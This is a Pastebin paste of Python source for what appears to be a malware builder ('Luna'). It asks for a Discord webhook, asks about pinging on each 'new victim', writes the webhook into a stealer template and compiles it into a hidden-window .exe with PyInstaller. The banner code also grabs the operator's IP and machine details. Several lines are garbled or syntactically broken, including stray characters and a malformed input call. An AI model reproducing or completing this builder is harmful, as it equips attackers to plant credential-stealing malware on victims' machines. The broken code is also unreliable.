Advertisement
idk92928283

idk mias tool new

Jan 24th, 2024
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.48 KB | None | 0 0
  1. import os
  2. import requests
  3. import random
  4. import shutil
  5. import subprocess
  6. import time
  7. import sys
  8. from json import load
  9. from urllib.request import urlopen
  10. from alive_progress import alive_bar
  11. from colorama import Fore, Style, init
  12.  
  13. class Builder:
  14.     def __init__(self) -> None:
  15.         self.loading()
  16.  
  17.         爪工闩丂 ㄒ龱龱㇄
  18.  
  19.         if not self.check():
  20.             exit()
  21.  
  22.         self.webhook = input(
  23.             f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Enter your webhook: ')
  24.         if not self.check_webhook(self.webhook):
  25.             print(
  26.                 f"{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} {Fore.RED}Invalid Webhook!{Fore.RESET}")
  27.             str(input(
  28.                 f"{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Press anything to exit..."))
  29.             sys.exit()
  30.  
  31.         self.filename = input(
  32.             f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Enter your filename: ')
  33.         self.ping = input(
  34.             f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Ping on new victim? (y/n): ')
  35.  
  36.         if self.ping.lower() == 'y':
  37.             self.ping = True
  38.  
  39.             self.pingtype = input(
  40.                 f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Ping type (here/everyone): ').lower()
  41.             if self.pingtype not in ["here", "everyone"]:
  42.                 # default to @here if invalid ping type.
  43.                 self.pingtype == "here"
  44.         else:
  45.             self.ping = False
  46.             self.pingtype = "none"
  47.  
  48.         self.compy = input(
  49.                 f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Do you want to compile the file to a .exe? (y/n):')
  50.  
  51.         self.mk_file(self.filename, self.webhook)
  52.  
  53.         print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Built!')
  54.  
  55.         run = input()
  56.             f'\n\n\n{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Do you want to test run the file? [y/n]: ')
  57.         if run.lower() == 'y':
  58.             self.run(self.filename)
  59.  
  60.         input(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Press enter to exit...')
  61.  
  62.     def loading(self):
  63.         p = Fore.MAGENTA + Style.DIM
  64.         r = Fore.RED + Style.BRIGHT
  65.  
  66.         img = fr"""{p}
  67.  
  68. .
  69.             ,gaaaaaaaagaaaaaaaaaaaaagaaaaaaaag,
  70.           ,aP8b    _,dYba,       ,adPb,_    d8Ya,
  71.         ,aP"  Yb_,dP"   "Yba, ,adP"   "Yb,_dP  "Ya,
  72.       ,aP"    _88"         )888(         "88_    "Ya,
  73.     ,aP"   _,dP"Yb      ,adP"8"Yba,      dP"Yb,_   "Ya,
  74.   ,aPYb _,dP8    Yb  ,adP"   8   "Yba,  dP    8Yb,_ dPYa,
  75. ,aP"  YdP" dP     YbdP"      8      "YbdP     Yb "YbP  "Ya,
  76. I8aaaaaa8aaa8baaaaaa88aaaaaaaa8aaaaaaaa88aaaaaad8aaa8aaaaaa8I
  77. `Yb,   d8a, Ya      d8b,      8      ,d8b      aP ,a8b   ,dP'
  78. "Yb,dP "Ya "8,   dI "Yb,    8    ,dP" Ib   ,8" aP" Yb,dP"
  79.    "Y8,   "YaI8, ,8'   "Yb,  8  ,dP"   `8, ,8IaP"   ,8P"
  80.      "Yb,   `"Y8ad'      "Yb,8,dP"      `ba8P"'   ,dP"
  81.       "Yb,    `"8,        "Y8P"        ,8"'    ,dP"
  82.          "Yb,    `8,         8         ,8'    ,dP"
  83.            "Yb,   `Ya        8        aP'   ,dP"
  84.              "Yb,   "8,      8      ,8"   ,dP"
  85.                "Yb,  `8,     8     ,8'  ,dP"
  86.                  "Yb, `Ya    8    aP' ,dP"
  87.                    "Yb, "8,  8  ,8" ,dP"
  88.                      "Yb,`8, 8 ,8',dP"
  89.                        "Yb,Ya8aP,dP"
  90.                          "Y88888P"
  91.                            "Y8P"
  92.  run the skids!              "
  93.  
  94.  
  95.                      IP: {load(urlopen('https://jsonip.com/'))['ip']}
  96.                Username: {os.getlogin()}
  97.                 PC Name: {os.getenv('COMPUTERNAME')}
  98.        Operating System: {os.getenv('OS')}
  99.  
  100.        with alive_bar(40) as bar:
  101.            for _ in range(40):
  102.                print(img)
  103.                time.sleep(random.randint(1, 3) / 40)
  104.                os.system('cls')
  105.                bar()
  106.  
  107.            os.system('cls')
  108.  
  109.        print(Style.RESET_ALL)
  110.  
  111.    def check_webhook(self, webhook):
  112.        try:
  113.            with requests.get(webhook) as r:
  114.                if r.status_code == 200:
  115.                    return True
  116.                else:
  117.                    return False
  118.        except BaseException:
  119.            return False
  120.  
  121.    def check(self):
  122.        required_files = {'./luna.py',
  123.                          './requirements.txt', }
  124.  
  125.        for file in required_files:
  126.            if not os.path.isfile(file):
  127.                print(f'{Fore.RED}[!]{Fore.RESET} {file} not found!')
  128.                return False
  129.  
  130.        try:
  131.            print(
  132.                subprocess.check_output(
  133.                    "python -V",
  134.                    stderr=subprocess.STDOUT))
  135.            print(subprocess.check_output("pip -V", stderr=subprocess.STDOUT))
  136.  
  137.        except subprocess.CalledProcessError:
  138.            print(f'{Fore.RED}[!]{Fore.RESET} Python not found!')
  139.            return False
  140.  
  141.        os.system('pip install --upgrade -r requirements.txt')
  142.  
  143.        os.system('cls')
  144.  
  145.        os.system('mode con:cols=150 lines=20')
  146.  
  147.        return True
  148.  
  149.    def mk_file(self, filename, webhook):
  150.        print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Generating source code...')
  151.  
  152.        with open('./luna.py', 'r', encoding="utf-8") as f:
  153.            code = f.read()
  154.  
  155.        with open(f"{filename}.py", "w", encoding="utf-8") as f:
  156.            f.write(code.replace('%webhook_here%', webhook)
  157.                    .replace("\"%ping_enabled%\"", str(self.ping))
  158.                    .replace("%ping_type%", self.pingtype))
  159.  
  160.        if self.compy == 'y':
  161.            self.compile(filename)
  162.        else:
  163.            time.sleep(2)
  164.            print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Source code has been generated...')
  165.            input(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Press enter to exit...')
  166.            sys.exit()
  167.  
  168.    def compile(self, filename):
  169.        print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Compiling code...')
  170.        
  171.        os.system(
  172.            f'python -m PyInstaller --onefile --noconsole -i NONE --distpath ./ .\\{filename}.py')
  173.            
  174.        cleans_dir = {'./__pycache__', './build'}
  175.        cleans_file = {f'./{filename}.spec', f'./{filename}.py'}
  176.  
  177.        for clean in cleans_dir:
  178.            try:
  179.                if os.path.isdir(clean):
  180.                    shutil.rmtree(clean)
  181.                    print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} {clean} removed!')
  182.            except Exception:
  183.                print(f'{Fore.RED}[{Fore.RESET}!{Fore.RED}]{Fore.RESET} {clean} not found!')
  184.                continue
  185.  
  186.        for clean in cleans_file:
  187.            try:
  188.                if os.path.isfile(clean):
  189.                    os.remove(clean)
  190.                    print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} {clean} removed!')
  191.            except Exception:
  192.                print(f'{Fore.RED}[!]{Fore.RESET} {clean} not found!')
  193.                continue
  194.  
  195.    def run(self, filename):
  196.        print(f'{Fore.MAGENTA}[{Fore.RESET}+{Fore.MAGENTA}]{Fore.RESET} Attempting to execute file...')
  197.  
  198.        if os.path.isfile(f'./{filename}.exe'):
  199.            os.system(f'start ./{filename}.exe')
  200.  
  201. if __name__ == '__main__':
  202.    init()
  203.  
  204.    if os.name != "nt":
  205.        os.system("clear")
  206.    else:
  207.        os.system('mode con:cols=212 lines=212')
  208.        os.system("cls")
  209.  
  210.    Builder()
  211.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement